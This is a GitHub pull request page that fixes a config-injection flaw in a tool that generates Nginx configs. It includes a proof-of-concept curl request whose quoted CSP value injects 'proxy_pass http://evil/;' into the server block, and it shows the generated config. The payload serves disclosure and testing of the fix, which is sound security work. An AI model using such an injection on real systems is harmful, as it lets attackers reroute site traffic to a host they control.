Repository navigation
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
The rendering templates (
internal/nginx/templates/*.tmpl) usetext/templateand insert user-supplied free-text fields (CSP, ServerNames, Root, AccessLog,
SSL fields, ProxySetHeaders, ...) directly into Nginx directives, without any
escaping.
A double quote (
") in one of these fields can close the string early andinject an arbitrary Nginx directive into the
serverblock.Proof of Concept
Request via the Web UI's
/api/generateendpoint:
bash curl -X POST http://localhost:8000/api/generate \ -H "Content-Type: application/json" \ -d '{"servers":[{"serverNames":["example.com"],"securityHeaders":{"contentSecurityPolicy":"default-src '\''self'\''\"; proxy_pass http://evil/; #"}}]}' Before this fix (
200 OK), the generated config contains:
nginx add_header Content-Security-Policy "default-src 'self'"; proxy_pass http://evil/; #" always; The quote closes the CSP string early, and
proxy_pass http://evil/;becomes an active Nginx directive inside the
serverblock — the#comments out the rest of the line, so the config remains syntactically
valid.
After this fix (
400 Bad Request):
json {"error":"invalid config: server[0]: securityHeaders.contentSecurityPolicy: value must not contain quotes or newlines"} Fix
Adds validation in
internal/nginx/validate.gothat rejects any free-textfield containing
",\n, or\rbefore rendering (Config.Validate(),called by
nginx.Render()).Fields intentionally meant to hold raw Nginx syntax (
CustomDirectives,ProxyPass, rate-limit zone references) are deliberately excluded fromthis check: they are documented as an intentional escape hatch for
arbitrary directives.
Tests
validate_test.gocovering injection viaUpstream.Address,SecurityHeaders.ContentSecurityPolicy,ServerNames,AccessLog,ProxySetHeaders.(
go test ./internal/nginx/... -v,go test ./...).kznginx ui) using the PoC above.